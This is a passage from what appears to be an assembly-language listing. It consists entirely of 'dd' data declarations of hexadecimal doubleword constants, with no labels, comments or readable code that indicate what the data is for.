0C51C4280h, 589D293Ch, 0F6A02ACFh, 2E7F98BAh dd 3D2D3D0Bh, 0A6A4AD3Ah, 0C49C167Eh, 0EEE2AAD9h, 0D444AE92h dd 68AB4379h, 8626E901h, 5AF77DCh, 944BC4CDh, 886FCEBh dd 5D25A80Dh, 0A3B06B3Eh, 0D15B9BBAh, 0FE4E60ECh, 9F681361h dd 0C071F82Fh, 462154D8h, 0E8E32DE9h, 0D4C24613h, 0BA3989DFh dd 8968774Bh, 152E4EDFh, 0AE02B060h, 0F5820B3Eh, 3F698960h dd 148CB3DDh, 0FAD87B0Ah, 37B963Eh, 880FA9BEh, 81E42215h dd 0D6838498h, 550E40F3h, 255C9168h, 4D21967Fh, 0CBC42E5Dh dd 24FE131Ch, 9985BFB1h, 0D968B6C0h, 322BDA4Ah, 0F3612B3Ah dd 0B91889AAh, 283C402h, 281E12F1h, 0ABC0CD29h, 4E041A56h dd 0A75BE91Fh, 4253F5BFh, 0F8D080A6h, 553969Eh, 0FE697CCEh dd 0C5D4B262h, 38E8A237h, 27A1269Eh, 6F4E4656h, 2D4245D3h dd 558529BDh, 0C521E834h, 6D540B22h, 7A5F04F7h, 5EF14484h dd 0F5D1A9D2h, 52E828E0h, 0DF20B23Ah, 590E66A8h, 1D1FC304h dd 0D1253B2Ch, 7E9571CCh, 13B1C30Ah, 8003FA7Dh, 0B450ADF1h dd 1FF4B151h, 0A11DE4E4h, 32A52CECh, 0FFE9CEFEh, 0C7FF5409h dd 31D1ADE3h, 906BA0BBh, 787709A2h, 870B3D91h, 0B0261345h dd 67CD8516h, 407DE13Fh, 0E3448D57h, 0FD054805h, 583AA58h dd 9D8EB9D8h, 0B6FA3F9h, 90DD55FFh, 13AE68B7h, 0AE7A6D15h dd 0D1075002h, 7275C109h, 8EC18301h, 641BF196h, 84BA6A23h dd 0D4C8A8F6h, 10DB001Ah, 0B3BE25CDh, 4D8F2D08h, 0F7898482h dd 41743C42h, 0AF3D1B21h, 550522Ah, 9E72E368h, 92A05F77h dd 5EC841Ch, 0C202B693h, 69DC7664h, 0D7B9EF62h, 53681C98h dd 0DD3B53h, 0CEB4D9B5h, 0B52EA3E9h, 0C64AC914h, 0F7CC30EBh dd 8C4968F9h, 8FE90B41h, 0A763F1F2h, 0B1028445h, 0C4C82870h dd 0C3BC71E5h, 0EB295B32h, 4EC859C2h, 7D953433h, 6B20CE96h dd 681DC26Ah, 0BE7922BBh, 5702EB20h, 0CF45DABFh, 0CAD1C025h dd 5EAD2D6Dh, 0D6407B6Ah, 6182693Eh, 0FF10F5B4h, 61258724h dd 5FE65DC3h, 4D9D6815h, 0F9F05E32h, 698A2466h, 1D6B10C0h dd 0CBFCF329h, 0DAAF6416h, 0FE9161Ah, 0F9B6FBC0h, 32F07930h dd 951267E1h, 65DA4A40h, 5632900h, 22C87E9Eh, 3F6C3A35h dd 0F8255180h, 0E93CEE46h, 4B49B449h, 0F27EF7E8h, 2D2596FEh dd 0FBD18554h, 800E2968h, 0C56BD7F5h, 59E8A680h, 452C685Bh dd 0D7E95004h, 9BABDB30h, 0C93B7E9Fh, 40CF9AE9h, 0B6525EA7h dd 0A90C946Eh, 9804F828h, 6E8B5967h, 28FEB12Dh, 0DFD08A09h dd 10063206h, 0CC884512h, 71F40100h, 0B066DCF6h, 8A75ED0Ah dd 7BB5F17Ah, 1857842Ch, 0E36A8D68h, 0D682F018h, 0FCE10EFCh dd 6445C966h, 0CB253370h, 825ADC59h, 54515008h, 33946BCEh dd 2902E9C2h, 0B41116F7h, 0BA22A71Ah, 59016E18h, 0E83FD3F7h dd 61EAA42Ch, 0F002AB61h, 0DF25E972h, 0D0595E46h, 0D6C2BD2Bh dd 81D78658h, 0F6D3888Dh, 0C3DAA3CBh, 0C6FFD55Bh, 0FD67065Dh dd 0FAE7EF20h, 7C670BD9h, 0E92D5E19h, 0AAAE7D53h, 962574EBh dd 9B30F52h, 5F0B970Eh, 32D2055h, 162EDB3Bh, 0A3F22CE9h dd 7E660BC5h, 0F8B75E2h, 9A5D624Ah, 9E4561A6h, 17B11DFCh dd 8B5D96E9h, 22164C3Ah, 7700B56Ch, 42A258F4h, 53F49590h dd 500F3F25h, 1AE9161Fh, 308ABBDDh, 8EE95081h, 0DDF87AC1h dd 0CC80EB81h, 303D21FAh, 84B08B54h, 0CBBAF34Ah, 7F91291h dd 4D508ED0h, 81391DA1h, 523046F5h, 76179E62h, 8309C09Dh dd 27027ED5h, 84FCDF14h, 0BB102760h, 7AB82E38h, 5F1356Ah dd 932C215Fh, 0EBF624F7h, 0DBF6031Bh, 3726E104h, 1CF35B89h dd 747585h, 55195FECh, 6C962978h, 4B930820h, 9F10116h dd 19868E2Eh, 0C35BA372h, 4804A82Bh, 3F95FAEh, 169FED5Fh dd 0A2FCFD7Fh, 4706FA1h dd 3CE2F302h, 8B898041h, 9732C008h, 642DFEE0h, 2B920602h dd 8905D029h, 89207107h, 147DE0D3h, 2A56D4DEh, 0F66B896h dd 0C0D0BA52h, 0EA816C8Ah, 54D43B30h, 80B0E45Ah, 2A751990h dd 6806AD0Bh, 2D3E8530h, 1168071Dh, 7A5E1DFCh, 58A0E830h dd 0A4D6C435h, 5A62FBCDh, 0AC747C89h, 2D6C1033h, 25A55829h dd 4E5FF605h, 72CB5965h, 8CDC282Ch, 5E100166h, 0D87829EAh dd 32BD0512h, 6FC945B8h, 258D1B6Dh, 4A7A0A7Eh, 828DC4E0h dd 0F968D3B3h, 9CA579D5h, 58E309F3h, 4FE96C30h, 43F4434Bh dd 75ADBAFFh, 0B3FB4B68h, 2AC441C1h, 311788CFh, 30C8209Ah dd 6748EA50h, 0ED50A8Fh, 243EFAA1h, 3700135Dh, 0E9932D44h dd 0EA9DD798h, 8A7E3CD1h, 4FC24795h, 93A89618h, 0ED9C1C99h dd 0CFFED060h, 0B9A25E9h, 6C64E4E9h, 0DEC12603h, 89C5273Fh dd 403C75FEh, 0BF82EE4Bh, 0C6297FBFh, 6C02EB7Ah, 292DF81Fh dd 0B92087Ch, 6DE83187h, 0B5C0B8DFh, 17054AE5h, 213B816h dd 3E1F302Dh, 6E57F531h, 4F72BD08h, 72BD0990h, 8F88815Bh dd 89B29F79h, 912593A2h, 0BB9C5F04h, 25429F4Eh, 0E97070D6h dd 61776036h, 0A42FD0C5h, 904B617Bh, 0C8014AC0h, 7DF4122Dh dd 93ED1CD1h, 0ABDABEB9h, 7310CF4Ch, 7CF84AAEh, 54AB1517h dd 725122Fh, 0D8494756h, 0E7D99536h, 640EE9C2h, 0EBF20222h dd 2D1ED2CCh, 0A0B1AE77h, 2105521Fh, 0FED04801h, 24200845h dd 0D7352FE9h, 0E540A791h, 0A9D22B1Fh, 0B977F14h, 5B6AD83Fh dd 13E675BEh, 133EF968h, 7DF0B5E9h, 9C7B5C2Ch, 315E244Ch dd 0EE6858B3h, 71C29BF4h, 80FF0984h, 0D22B3E3h, 510BBD5Ch dd 3A3BE27Ch, 0ED7515F9h, 3C0B4C83h, 1201354h, 84008A8h dd 0A22C4F8Bh, 407A9ACAh, 2C2254CEh, 3CD3351h, 31A801E2h dd 835FFEF8h, 0E92FFCB8h, 5DA3E2FBh, 5BA539FBh, 0B055A75Eh dd 9F64AE1Dh, 24A02E4Eh, 342D2BA2h, 0ED37E170h, 0D58E0845h dd 47E95604h, 3350084h, 5A22A57Ah, 803BED89h, 11EACE81h dd 6876AFh, 74479EE6h, 0CB9DE918h, 0A15384CFh, 3F406E85h dd 56786B21h, 0CD8FF44Eh, 0B241A139h, 0DF399009h, 0CF60F262h dd 1D764AFAh, 69F2B0A1h, 2D5F0168h, 1A3A6487h, 0C4421861h dd 839979BCh, 1E7A41CBh, 5A964EFh, 0F3523668h, 17B9808h dd 783F31BBh, 85647864h, 0B000558h, 7AEB815Eh, 37E32770h dd 880C05Ah, 0D76611E9h, 0C2ACB95h, 27807E9Dh, 542F520Ch dd 7F52EA3Bh, 44E52C51h, 0BD02C8FCh, 64BEA893h, 164A9084h dd 35B1F6F8h, 0D6F70165h, 2E30D671h, 4BD0261Fh, 11CC0553h dd 1B02EAA2h, 7FF88340h, 0D9B3580Eh, 143AED3Ah, 0E9C207B8h dd 0CFD99904h, 4E16EC43h, 8F8BE891h, 63A68551h, 55A53CEFh dd 27D071B5h, 2E983F78h, 0A850FF05h, 0F501455Fh, 3AE73CD3h dd 23140E00h, 8018796Eh, 315291E9h, 38D898EBh, 9570AED0h dd 96E796FFh, 3FEA098Dh, 98C79EF5h, 9D552732h, 1B889BF9h dd 0AC762F40h, 7084425h, 0B551FFC6h, 7AE56013h, 0FC3BB450h dd 0F466228h, 5D987547h, 0C93E6D67h, 0D8E5A506h, 0A1EDB7DFh dd 0D5FCC48Bh, 39F55EE4h, 62D58496h, 48D2F706h, 0C768840Ch dd 2EA1188h, 63CAB57Dh, 9C70D189h, 452016F0h, 2680385Fh dd 17E24A26h, 0A1D7B8A9h, 0F73F8D1Bh, 51207B09h, 0F1311D20h dd 4560E55Eh, 2AE44E5Dh, 7170897h, 6276E90Bh, 0D6F9FF9Ah dd 18F5788h, 1AD982BBh, 0C5B13E0Ah, 0BF5EF3CCh, 0F62FF55Bh dd 0E781002Dh, 408C1A97h, 8BCC0997h, 51B784Dh, 241594BEh dd 69B6807Fh, 58B51904h, 906F4AE7h, 0E13A9DE0h, 992D747Bh dd 5B554621h, 0BAC58579h, 8BFEAFD5h, 20BA4E3Dh, 69F0E9F9h dd 6CE22CA0h, 0F6594030h, 5BE053E8h, 7535BC0Dh, 0E3F42541h dd 0BE143CF3h, 31DA84Fh, 175BD6CBh, 0DFD0F722h, 9FC2E1ABh dd 94806A0Bh, 3DB65009h, 2B4EE97Bh, 0CBF81461h, 515B223Eh dd 21D8EB80h, 60B97CCCh, 1EB25F12h, 1278D910h, 24BE885Ah dd 2B90F144h, 5CC23DB3h, 83FDD830h, 8457DE6Eh, 0D06BF6FFh dd 13F0424Fh, 0FE36E07h, 0B47AAE1Ah, 9CDB6357h, 41E02CB0h dd 0E28880BCh, 51326743h, 3680050h, 58413E65h, 5B9DC201h dd 6DB43034h, 0B5C3C23h, 8E730E27h, 4C2328Ch, 38CD640h dd 3C2D06E0h, 2B69F1A9h, 5CD122AAh, 3D782DC1h, 0E7683F8h dd 64BAE8DDh, 0E810058Eh, 0AC5EF229h, 4AC79C86h, 63A6E957h dd 5AD195B6h, 85C8DD6Bh, 1806108h, 0DB04BDE8h, 0BB61FB53h dd 228060F7h, 30F56856h, 0E2F67755h, 6FAC57E7h, 0E334EFF3h dd 88B7D956h, 0A4ABE9C2h, 0D4E18100h, 53CC3B2Bh, 98CC903h dd 0C09075Dh, 0F5238Fh, 0FB9F1ABh, 555432B2h, 0BC549DB6h dd 0C702F6F0h, 7515C617h, 5EA2AD80h, 0A43853E1h, 0B86B2A7h dd 0F38172DEh, 0D4C54798h, 5620E03Fh, 43247B5Fh, 0B475BCBEh dd 0E981A0FBh, 71A88B2Fh, 37EE0B7Eh, 0FD62075Ch, 87375CE2h dd 0A495CA45h, 5015B127h, 49D6350Fh, 77052825h, 0A0464868h dd 0C4BFDBFEh, 1B538C0h, 5966EA0Fh, 0D178E46Bh, 0DBA85C9Fh dd 3C36A5Eh, 11D6B154h, 9CE22274h, 0E3DD6935h, 0BAF9541h dd 0E80BCAF8h, 0F62D7F74h, 0BDEEA0Dh, 265AD04Dh, 6B60AB31h dd 0B0534DAh, 0B678C5A2h, 0DF170B97h, 0D49DD49Eh, 6866C0C7h dd 779E7858h, 1DB65281h, 0E02A35B5h, 0B44BE982h, 5C51C8EEh dd 2F55C7BDh, 1B5951DEh, 77587C34h, 26BFF48h, 8FF48033h dd 0AE9D9F43h, 0E90C119Bh, 0EE33FBD7h, 5B1F7B48h, 0D9FB7B17h dd 81832EA7h, 30AEE483h, 9512F67Ah, 0CCFC7AFAh, 2C6A8397h dd 0C53EB90Fh, 0AB922C78h, 2A682FB4h, 20AD06FAh, 709F9342h dd 0AEDA4B76h, 780E955Bh, 3360FB16h, 63509598h, 7A477097h dd 0FF129DBBh, 5667F940h, 517BB300h, 0EEDDF5B9h, 0E91EC4F2h dd 0CF52FE3Ah, 451638ACh, 5E913442h, 6AF3CBE0h, 2018C45Dh dd 5F5D5EE0h, 1E620755h, 0B6D27CBEh, 6263D692h, 0EE208F40h dd 0B8BB15ACh, 0F1442A44h, 6DC53CABh, 0E18D9F15h, 3863F203h dd 0C042C6Ah, 64890A8Bh, 437B4000h, 0D29F2177h, 6AE009BBh dd 0E40012A1h, 9DA7D1ECh, 0BAA2EFFh, 65575128h, 0CEE9C2EDh dd 800E045Ch, 0A30337E6h, 4DF58898h, 0D10A1EFAh, 5A057E0h dd 817C7279h, 3041D99Fh, 0F612355Ah, 0B8E0B68Fh, 33F84B09h dd 35A0255Ah, 5E44148h, 0F7CA820Dh, 3AF8C0BEh, 63E297A0h dd 563BA458h, 88B89351h, 31E21327h, 8DF9F59Dh, 0E1AFCA29h dd 1B7056D5h, 8E209D27h, 5EBF2FFAh, 27009BFh, 0DF9CA8A4h dd 0DF2F2745h, 7092759Eh, 61077997h, 2A58F868h, 55E0DFCDh dd 0BC535F38h, 56BB5ACFh, 6FCEAEFEh, 6BE95306h, 0B9020C7Dh dd 3AAB60BFh, 1E464031h, 0C392B52Eh, 74013940h, 0FE8B8194h dd 0FEAA6610h, 0C804B5A4h, 321C151h, 7E8F7961h, 4E383B25h dd 0E941FD29h, 0FC05867Dh, 3F600406h, 50AA5457h, 1C610815h dd 410E5D6Dh, 16F94C9h, 0A36A5958h, 0CCFED28Fh, 0DB38683Dh dd 0C8AC5F20h, 42D8ABD6h, 0CA569F5Bh, 7045F813h, 4AA9FB6h dd 0BFEE9C2Eh, 0FAE552ACh, 44FE8E57h, 0B545EA06h, 726BDCAAh dd 689D1897h, 27764A94h, 0B91887FBh, 5F443E71h, 3E0368C0h dd 684F58D1h, 0EBB3844Ah, 0E36B372Dh, 1BF2D87h, 33C78077h dd 0BB08BEE0h, 67923C67h, 0C2E2BA8Ch, 0FF5192DFh, 0B245022Ch dd 1E4597ADh, 5CBF802Ah, 1FA9DB96h, 43169271h, 9C4CF0ACh dd 0E7985020h, 3C22BB13h dd 84DEA709h, 0B7035CF1h, 0BFBDF60Dh, 50CF51C1h, 0F6BEFCDh dd 0C26BDAA8h, 0D041827Fh, 0E36340E2h, 599A835Ah, 482C8577h dd 0F28058D1h, 1C3D8D41h, 27BE6354h, 0B193D559h, 71E42B30h dd 7FBF4257h, 7776A727h, 6CE1D610h, 0FBB592A8h, 794A9A98h dd 0BB0CA281h, 9E5FC730h, 852D9D2Eh, 0C278F94Dh, 66049067h dd 499F07B9h, 682BEFB7h, 548EC67Fh, 4FB443BBh, 0B2A24439h dd 0BB64BF8Ah, 85651DC3h, 5EB7DEFBh, 0C72C3EECh, 7F68898Bh dd 0BD60EC54h, 5FDC1683h, 6E52EB0Dh, 9B90030Ah, 0F1F03062h dd 160EACD0h, 85C70EB0h, 0A0F2C36Fh, 6EEBEBFAh, 1F3D060Eh dd 7F7C9628h, 0F6C0E502h, 0F797E9DDh, 0ECA84B71h, 577E422Fh dd 8CFC0016h, 0B9449F5Bh, 0E912A22Fh, 3FF1046Bh, 5B8118A8h dd 48F17925h, 18AF4720h, 0C1C6B2Bh, 772C399Ch, 640F1152h dd 800C6F69h, 0FA3DABC9h, 8524C060h, 296D2070h, 1A59CA2Dh dd 9A31844Ah, 0F205FDD5h, 0F3EBBC7Fh, 0F70969FFh, 1E6AFE2Bh dd 9C0EEB7Dh, 0A2B50CECh, 4A0192EEh, 56F07233h, 2ED8030h dd 0E94BAF45h, 42544A21h, 575AE5C2h, 20B4459h, 0EBE2C803h dd 0F7799F3Fh, 16645F08h, 0BA5B5656h, 0FC9B2806h, 0F3DA9F40h dd 0F0EACFEFh, 0C124B8C1h, 84EC45FEh, 0E9FB2870h, 3CE78134h dd 47601CFAh, 0C26BF344h, 717D5C17h, 7125C361h, 32FFC31Eh dd 985A850Bh, 1668BA4Eh, 0F779947h, 4B249A7Eh, 0F794AF02h dd 98E90805h, 0C76B49EBh, 5E8CC07Dh, 7FF4C856h, 11704428h dd 0B450D30Fh, 0F2F404E3h, 0BF6D12AEh, 27687BB4h, 0F29E7DCBh dd 0FD537F96h, 4BFFCFABh, 276B9CBAh, 9A01CB4Ch, 81DD27B2h dd 3F2991B0h, 0B6E09D34h, 0E25AE8BAh, 7B0443B9h, 0A601E52h dd 3C28072Dh, 0B8400097h, 5A7830CAh, 4F6DBC15h, 662F4FA8h dd 0F1801B01h, 0A2052E7Bh, 0AD82ECD0h, 5F584A6Eh, 0CDA4A6D3h dd 0D4B97C42h, 3DEE815Eh, 404F45F3h, 80367FB9h, 11BA964Eh dd 0BC0490AAh, 0A088F19h, 0F92707EAh, 78290C6Eh, 7AFF2150h dd 2D59BBA4h, 0FC7C22A1h, 909F587Ah, 25151CB9h, 13B6E429h dd 0EA31BBEFh, 0FDE8525Bh, 4B22B93Fh, 28008845h, 2C5A66D7h dd 2F8EC94h, 0C06AB353h, 486102EBh, 2435309Bh, 2F3A644h dd 88D6CDE5h, 0C480DA89h, 128C56C2h, 50D0012Ch, 0DD0C7100h dd 0ECE812Ch, 16EB3BB5h, 471CE6C1h, 0D17B2178h, 0C05B0FDAh dd 21B41AA9h, 15F2E915h, 0B7CC9661h, 17D25A31h, 0C1ADE2A5h dd 3085624Dh, 288A2420h, 24E60C03h, 16E608E3h, 3EAAC905h dd 9A3EE4E1h, 44604855h, 0F70905FCh, 8FB15875h, 708689A6h dd 68AD09F8h, 2E460B7Eh, 0AF6A7D01h, 6C59E943h, 0B65F377Ah dd 0C505D90Eh, 8D805D8Bh, 6FC3A1AEh, 5A210086h, 2DB5BD2Dh dd 0BFC25E05h, 590EBCA7h, 0AA58D2BFh, 2201B075h, 11A13C51h dd 3839B17Eh, 49E90829h, 98680735h, 0C5F70B77h, 4C55A5F7h dd 90D89FA0h, 0E6ADE95Bh, 1708FE5Ah, 4313599h, 0B2B5541h dd 0E94ADD50h, 0B6136A7Ch, 0CB55DF0h, 0A8CD807Ah, 0FE765E06h dd 21B62BFEh, 0F364227h, 2263C089h, 95EE8943h, 0B6A23EFFh dd 6E745A4Ah, 0A558E90Bh, 0C0FB5AEEh, 0D130056Fh, 0FDC0E1EDh dd 3F84C903h, 0B3EFD412h, 0A3ACD245h, 0CEE950A0h, 25BE76B5h dd 4620A358h, 4B51604Eh, 20514D4h, 0ED515D78h, 7CBE2E07h dd 7C5D3AC3h, 42331036h, 1E3C4EDFh, 889FE12h, 7626B028h dd 48BD8397h, 0A4BFED5Ah, 3099F10Ch, 6658F445h, 7002C946h dd 0AA284E67h, 9343F24Eh, 0DB852DFAh, 16DCF5F3h, 6CBD09AAh dd 3FF84F58h, 310A5762h, 9FB2F5FEh, 834736A6h, 0D30231B0h dd 2118CE0Eh, 8C87FFCDh, 0C1AA450Ch, 1D14F0Ch, 3A3078B3h dd 4A22F407h, 12A3A6D4h, 0A0368E97h, 0BDF49FBCh, 45C9261Fh dd 4C6C205Ch, 0B63F847Ch, 9D2550ADh, 0FC417425h, 44D5005Bh dd 0EAD1698Ch, 4EF28702h, 0D16506E9h, 5F138B80h, 0DDB63A9Eh dd 0D5E5790Ah, 0DF506AA7h, 7B579ECAh, 2546239Ah, 0C8666EF7h dd 2D1756E2h, 8B3197EDh, 57097489h, 4FFE823Eh, 752F07F1h dd 0D3063A99h, 3AAE8B10h, 6587B50h, 0FE2CCA80h, 0F2EE04C2h dd 1F28D224h, 13F1508h, 2564092Dh, 0B1FC3E72h, 97763725h dd 2EEF373h, 58DDB867h, 5C411E9Fh, 82D16AA0h, 5BE55502h dd 0A27B122Ah, 0DBD2DF6Ch, 5A5C0E81h, 2637B67Eh, 0F78BA97Bh dd 918ED5DFh, 0E56A45B7h, 0FF80166Ah, 5EF526C0h, 0BD924968h dd 0E90F614Eh, 5EF76C31h, 1E1F47BBh, 6F3AF718h, 6FC78E20h dd 0CF5C315Fh, 3AF92539h, 0C09C42A4h, 0C4A77618h, 0C406EDDBh dd 587DF084h, 0D9245D7Fh, 5B654DC2h, 702CF72Ch, 66D0077Ah dd 4C1F2368h, 19D2B2EBh, 964CE2ABh, 63204089h, 12AD693h dd 3016C1D4h, 0C2C7ACFh, 8AE04B2Ah, 56DA5038h, 252B0C58h dd 85986279h, 0C1934DD0h, 56D3D789h, 0EE465B1Ah, 5FB89D68h dd 0FDF53114h, 5F2C017Fh, 0E9042620h, 25706BC9h, 58E970DFh dd 0B3A7DE1Fh, 3600B268h, 0C3602FB8h, 4FC7316Dh, 47B5E058h dd 0DF02F9A2h, 0DF5A7C3Fh, 5EBB492Dh, 6855A86h, 5E91E29Ch dd 58A692D8h, 71814806h, 6F2D6313h, 0B5F15A35h, 4C0D47Bh dd 0C6348Ah, 0BA55E2BDh, 57524C21h, 1168C005h, 82FE0812h dd 0DDF58001h, 9857EB28h, 68ADCDD2h, 88197007h, 499DF5DAh dd 26725E4Bh, 32886809h, 71626B5Eh, 68A65648h, 58581470h dd 0FCC6E982h, 6BAF597Fh, 5AEDECDFh, 47313DDh, 2351F06h dd 65EDD14Dh, 4CBA9F67h, 9E620927h, 9B95D40h, 34D0478Bh dd 6215D77Eh, 51CE02E5h, 80739906h, 0C04B6BC4h, 5E0CC142h dd 7A5C6550h, 0B19B3F02h, 0B5E6E0A4h, 121A252Bh, 8A04376h dd 0EF806F92h, 70837718h, 9DAA60ACh, 33EF80E7h, 7EB6521Fh dd 539EF649h, 90ADBD14h, 0BB92D789h, 0CB8482C4h, 4BBD9820h dd 2C4FC29h, 27253BC1h, 6572F74Bh, 28E211D6h, 0E9029C92h dd 0F289CA98h, 1A306F5Fh, 5C5A5952h, 0AA21EC92h, 487B7302h dd 4F16E34Ch, 2198D22Fh, 0EF4FCCD4h, 0B5407075h, 0BAAD4ADEh dd 0AC4B038Fh, 5E19010Bh, 32E96BC4h, 95B90824h, 939032F2h dd 7A53E309h, 2FA5D64h, 7213F19Fh, 687968DDh, 32314F44h dd 0E9220187h, 0BFD578D2h, 8739B776h, 613B04A0h, 2C56F366h dd 12C94033h, 44F3EF9Ah, 60234C80h, 6A85111h, 33C28EE9h dd 467E6E68h, 0BDB07887h, 0C4E9DEE0h, 0D6A0419Ah, 0F995E110h dd 0C921C440h, 8E12A6F8h, 39A1E904h, 6708DCFBh, 0F00E24EBh dd 0D8DBB0B5h, 6C7E95C9h, 0C60BD258h, 2452BF0Bh, 0C93EFE97h dd 50A7A077h, 28486856h, 2AF3E527h, 986B86F0h, 0B27340D0h dd 71C0CEC4h, 542B89BEh, 4851A846h, 76094FFFh, 9BE6575Dh dd 8740B2B0h, 58192D68h, 5AC58994h, 0AC446D78h, 54326AB3h dd 306AB079h, 8E670B01h, 7E305620h, 842B17CFh, 0ABD0BF07h dd 0E5E04A72h, 879C8DBh, 0D14D5947h, 77E10F78h, 0C7C05240h dd 286FF3Ah, 1290D7B2h, 0E151380Bh, 0D656042Bh, 3E560412h dd 815D007Fh, 5CA004F2h, 0D62A7A9Bh, 7DE910EEh, 545C1744h dd 3BE1BCECh, 51B87FAEh, 49BD55B0h, 16511913h, 242E02EEh dd 0DB001DECh, 121FFD3Dh, 0FA5DEE01h, 5DE91798h, 0BA2F6AA9h dd 22D0A52Bh, 6EF43F31h, 50307EB5h, 0D6F60D6Eh, 3008CEFEh dd 5782B2B4h, 1D5175C0h, 6DFC0876h, 90E4C205h, 0CE04F789h dd 0F16E013h, 7209082Dh, 0B1D905A9h, 4B5C6804h, 0E916C4F9h dd 6056A140h, 799FEE7Fh dd 655FEBBFh, 8B45CAC0h, 7E94830Ch, 6959517Ch, 4C0B4B53h dd 947EDE89h, 7407F503h, 6E01CF7Eh, 0F94E6461h, 68032065h dd 9846B92Dh, 0E0919792h, 0BB295F9Ah, 512A253h, 12098AEAh dd 5BF9577Eh, 0AF1E7DBh, 0D9032566h, 0DB0975A3h, 0C087242Ch dd 5693CD26h, 3CB647ADh, 1ABD9B7Ah, 38D955BBh, 928EF16Bh dd 3A85BA68h, 69A0D516h, 215B38BEh, 4B724125h, 749950E0h dd 5A5291ADh, 9F5E7E60h, 0C1473C1Ah, 672157ADh, 235B7C68h dd 895C49D7h, 9E950A2h, 51A684Eh, 0FEF0DBC6h, 0F47EE027h dd 97E91D86h, 0C1C22952h, 2F376E8h, 807CB551h, 986E63EBh dd 0C04341E9h, 4B8CF237h, 27904409h, 0A056DA97h, 0D7BFD27h dd 0D501739Ah, 0E908001Ch, 68B5B491h, 0EC3C35DAh, 68B027h dd 77080778h, 4C187F2Dh, 0D8F71900h, 96105925h, 0F3350061h dd 2D4F7869h, 0AF28776Dh, 6609E729h, 7EF16239h, 0F758623Dh dd 13687A0Ch, 0F51DAE0Dh, 210805A8h, 50B76CE3h, 0DFF7FEF8h dd 9E5208CCh, 4ED8E6BBh, 2480BC64h, 8A09DE31h, 0D418F575h dd 113F5BFh, 7E0E1BB0h, 4519C353h, 0A90E0F47h, 53DFAD9Ch dd 7352FFC2h, 809C0BEBh, 8B16ED7Ch, 0B600D8EAh, 0F67D187Fh dd 0F995F0E0h, 10A048DDh, 47FC5AC0h, 0D0F6F372h, 29998BEh dd 189E7290h, 6D41D1F7h, 0DC0AA401h, 27098F1Ch, 0BB705561h dd 0C08108CEh, 643BED62h, 0D940B721h, 4EC3D277h, 302E8C0h dd 0D0860606h, 812DAF6h, 0E5EE652Ch, 0B016883h, 307D1368h dd 2DE9F7CBh, 0FEA07912h, 9B5028C5h, 6C011B3Bh, 0B32CCCF3h dd 0D05627FEh, 49320581h, 106B72BAh, 593B07A2h, 0DD45E401h dd 2530FF69h, 7C9F6F54h, 2D433E10h, 0BCC738Fh, 24C8207Dh dd 253D3713h, 26F8930Bh, 0F016A7B3h, 939BB915h, 0CD1F61FAh dd 39EA3A59h, 6AF96033h, 5042009Ch, 63156051h, 2930E18Eh dd 6C8614F1h, 1416E4EDh, 797DB35Dh, 62D0D05Eh, 25EC48EFh dd 0F9F8F914h, 52C07E9Dh, 55468E74h, 0CC385B66h, 265DA9BBh dd 0F68D8B31h, 59CA8BDEh, 0E99993DDh, 2D6867B8h, 0B8E241C9h dd 0C1C851D7h, 639A65E9h, 5355121Eh, 0F05A988Ah, 0B15B0EE2h dd 22F839EFh, 63948B9h, 0EFCD8094h, 0F6FE2034h, 44EAE09Dh dd 9840620Bh, 3103F472h, 8C0DB9F0h, 4E35E26Ah, 1F3049E1h dd 0CA81000Bh, 423108BFh, 0BB24E957h, 5067BF97h, 0EB909494h dd 257309BAh, 38486D43h, 4D091721h, 51542958h, 740CA04Ch dd 0CE699DE9h, 15A23F3Ch, 3F5D7BA1h, 0BC9224BDh, 4DA61982h dd 162AF7CFh, 58C6A903h, 0DEA55AB4h, 1806FF16h, 57169268h dd 0C96D10Bh, 0D26EE882h, 929F6367h, 6FA077D0h, 787E1E97h dd 0AA0554EAh, 0CEE9B393h, 48018D4h, 0F78CEE10h, 123DBE60h dd 0BB504572h, 2F08A350h, 0EAB1F75Ah, 0ACC254CAh, 22B05B59h dd 23DE2E41h, 7D930269h, 0BA8D327Fh, 5FC00129h, 80BB045Eh dd 8DEE8021h, 94B05028h, 20E9D81Dh, 0A9477B27h, 0CDFD2532h dd 4E65AF73h, 98D8298Ch, 0C4C04E4h, 0FC28E917h, 20FA5A17h dd 8FBB53BEh, 13C7C16h, 0DE5B3BC8h, 0C1985A6Fh, 0FB7A7044h dd 0ECD955FBh, 0E188C502h, 680A0FE3h, 8CD34CF0h, 0F5A71A0Ch dd 52459903h, 0E9E82921h, 0A23A16FAh, 0ED584A1h, 218BE18h dd 0AD23DC3Dh, 0D5A56921h, 9D955BDCh, 0D0080A45h, 0BDC11D6Dh dd 8BF109FEh, 62754D2Ah, 4BF359AFh, 8B3D2276h, 8476E166h dd 0B9013CB5h, 0CD1CF1FCh, 2A753131h, 0E86E44F1h, 2CFAB47Ch dd 0C2BFB279h, 0D2FB771Eh, 4116E625h, 2C42ED29h, 68BF4B7Ah dd 3A4E6984h, 924CBDh, 0BE61AEC7h, 0A826E971h, 7EC2731Bh dd 97625645h, 6F5DAA03h, 68665942h, 0E7E4FF4Ah, 0C17FE917h dd 5604BDEDh, 8475E813h, 8C01081h, 0CB4CA04Ah, 6D45429Fh dd 0BFE90B3Dh, 0A7D80362h, 0A1A69685h, 7C806805h, 77B6C230h dd 0E4CE7BFEh, 357095EAh, 0F1E9EF12h, 0B847585Eh, 0F7D50990h dd 4A036CF8h, 6889E97Dh, 0E1F6B903h, 2F9392B8h, 43725EA8h dd 8243593Ah, 0E4E95674h, 63CED539h, 0DD588127h, 6E687890h dd 503C5F12h, 0E0010CBBh, 5317C261h, 0E406B56Bh, 0BC164B4Eh dd 5455C11Fh, 9EEC2F5Dh, 0AEC085E5h, 1CAEF357h, 41CF13A4h dd 0FE2FB120h, 0E1C7E8C9h, 0B00554B5h, 3F1A4576h, 5ABA4179h dd 0C040883h, 32AC16BFh, 40F004B4h, 1E9F5920h, 5F681C91h dd 9CDF2D06h, 8D952F01h, 898AB753h, 0CB0BA8F1h, 58FD5E59h dd 14BF651Bh, 9FA9DEDh, 0EC9C402Dh, 4DCA2FF1h, 5508847Bh dd 0A0E942BDh, 0BB01B674h, 64B85905h, 6F991D70h, 6A8B2129h dd 8680DCF1h, 8005EFC0h, 0EC2D73F7h, 0FE2805B8h, 499E60E9h dd 0DFABCEA7h, 0ABA7B965h, 0D7A28B3Dh, 682F761Ch, 0D99A55F4h dd 0E92FA87Ah, 681E016Fh, 3A2C0893h, 9C3DD8C2h, 0A9DFB3C2h dd 45C6DBE0h, 0B3970956h, 7FB90858h, 0CD80C62h, 0C10EC6BEh dd 